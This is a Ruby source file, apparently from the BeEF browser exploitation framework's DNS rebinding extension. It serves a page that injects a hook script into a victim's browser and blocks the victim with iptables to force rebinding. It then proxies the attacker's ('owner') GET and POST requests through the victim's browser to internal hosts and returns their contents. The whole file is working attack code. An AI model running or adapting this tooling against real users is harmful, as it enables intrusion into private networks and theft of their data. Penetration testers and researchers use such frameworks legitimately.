module BeEF module Extension module DNSRebinding # Very simple HTTP server. Its task is only hook victim class Server @debug_mode = false def self.log(msg) warn msg.to_s if @debug_mode end def self.run_server(address, port) server = TCPServer.new(address, port) @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode') loop do s = server.accept Thread.new(s) do |socket| victim_ip = socket.peeraddr[2].to_s log "-------------------------------\n" log '[Server] Incoming request from ' + victim_ip + "(Victim)\n" response = File.read(File.expand_path('views/index.html', __dir__)) configuration = BeEF::Core::Configuration.instance proto = configuration.get('beef.http.https.enable') == true ? 'https' : 'http' hook_file = configuration.get('beef.http.hook_file') hook_uri = "#{proto}://#{configuration.get('beef.http.host')}:#{configuration.get('beef.http.port')}#{hook_file}" response.sub!('path_to_hookjs_template', hook_uri) start_string = socket.gets socket.print "HTTP/1.1 200 OK\r\n" + "Content-Type: text/html\r\n" + "Content-Length: #{response.bytesize}\r\n" + "Connection: close\r\n" socket.print "\r\n" socket.print response socket.close # Indicate that victim load all javascript and we can block it with iptables. dr_config = configuration.get('beef.extension.dns_rebinding') if start_string.include?('load') log "[Server] Block with iptables\n" port_http = dr_config['port_http'] if BeEF::Filters.is_valid_ip?(victim_ip) && port_http.is_a?(Integer) IO.popen(['iptables', '-A', 'INPUT', '-s', victim_ip.to_s, '-p', 'tcp', '--dport', port_http.to_s, '-j', 'REJECT', '--reject-with', 'tcp-reset'], 'r+') do |io| end else print_error '[Dns_Rebinding] victim_ip or port_http values are illegal.' end end log "-------------------------------\n" end end end end class Proxy @queries = Queue.new @responses = {} @mutex_responses = nil @mutex_queries = nil @debug_mode = false def self.send_http_response(socket, response, heads = {}) socket.print "HTTP/1.1 200 OK\r\n" headers = {} headers['Content-Type'] = 'text/html' headers['Content-Length'] = response.size.to_s headers['Connection'] = 'close' headers['Access-Control-Allow-Origin'] = '*' headers['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS' headers['Access-Control-Expose-Headers'] = 'Content-Type, method, path' headers['Access-Control-Allow-Headers'] = 'Content-Type, method, path' headers_a = heads.to_a headers_a.each do |header, value| headers[header] = value end headers.to_a.each do |header, value| socket.print header + ': ' + value + "\r\n" end socket.print "\r\n" socket.print response end def self.log(log_message) warn log_message if @debug_mode end def self.read_http_message(socket) message = {} message['start_string'] = socket.gets.chomp message['headers'] = {} message['response'] = '' c = socket.gets while c != "\r\n" name = c[/(.+): (.+)/, 1] value = c[/(.+): (.+)/, 2] message['headers'][name] = value.chomp c = socket.gets end length = message['headers']['Content-Length'] if length # Ruby read() doesn't return while not read all byte resp = socket.read(length.to_i) message['response'] = resp end message end def self.handle_victim(socket, http_message) log "[Victim]request from victim\n" log http_message['start_string'].to_s + "\n" if http_message['start_string'].include?('POST') # Get result from POST query log "[Victim]Get the result of last query\n" # Read query on which asked victim query = http_message['start_string'][/path=([^HTP]+)/, 1][0..-2] log '[Victim]asked path: ' + query + "\n" length = http_message['headers']['Content-Length'].to_i content_type = http_message['headers']['Content-Type'] log '[Victim]Content-type: ' + content_type.to_s + "\n" log '[Vicitm]Length: ' + length.to_s + "\n" response = http_message['response'] log "[Victim]Get content!\n" send_http_response(socket, 'ok') socket.close log "[Victim]Close connection POST\n" log "--------------------------------\n" @mutex_responses.lock @responses[query] = [content_type, response] @mutex_responses.unlock elsif http_message['start_string'].include?('OPTIONS') send_http_response(socket, '') socket.close log "[Victim]Respond on OPTIONS reques\n" log "--------------------------------\n" else # Look for queues from beef owner log "[Victim]Waiting for next query..\n" while @queries.size == 0 end # Get the last query @mutex_queries.lock log "[Victim]Get the last query\n" last_query = @queries.pop log '[Victim]Last query:' + last_query.to_s + "\n" @mutex_queries.unlock response = last_query[2] send_http_response(socket, response, { 'method' => last_query[0], 'path' => last_query[1] }) log "[Victim]Send next query to victim's browser\n" log "---------------------------------------------\n" socket.close end end # Handle request from BeEF owner def self.handle_owner(socket, http_message) log "[Owner]Request from owner\n" path = http_message['start_string'][%r{(/[^HTP]+)}, 1][0..-2] if http_message['start_string'].include?('GET') unless path.nil? log '[Owner]Need path: ' + path + "\n" @queries.push(['GET', path, '']) end elsif http_message['start_string'].include?('POST') log "[Owner]Get POST request\n" @queries.push(['POST', path, http_message['response']]) unless path.nil? end # Waiting for response, this check should not conflict with thread 2 while @responses[path].nil? end @mutex_responses.lock log "[Owner]Get the response\n" response_a = @responses[path] @mutex_responses.unlock response = response_a[1] content_type = response_a[0] send_http_response(socket, response, { 'Content-Type' => content_type }) log "[Owner]Send response to owner\n" log "-------------------------------\n" socket.close end def self.run_server(address, port) @server = TCPServer.new(address, port) @mutex_responses = Mutex.new @mutex_queries = Mutex.new @debug_mode = BeEF::Core::Configuration.instance.get('beef.extension.dns_rebinding.debug_mode') loop do s = @server.accept Thread.new(s) do |socket| http_message = read_http_message(socket) if http_message['start_string'].include?('from_victim') handle_victim(socket, http_message) else handle_owner(socket, http_message) end end end end end end end end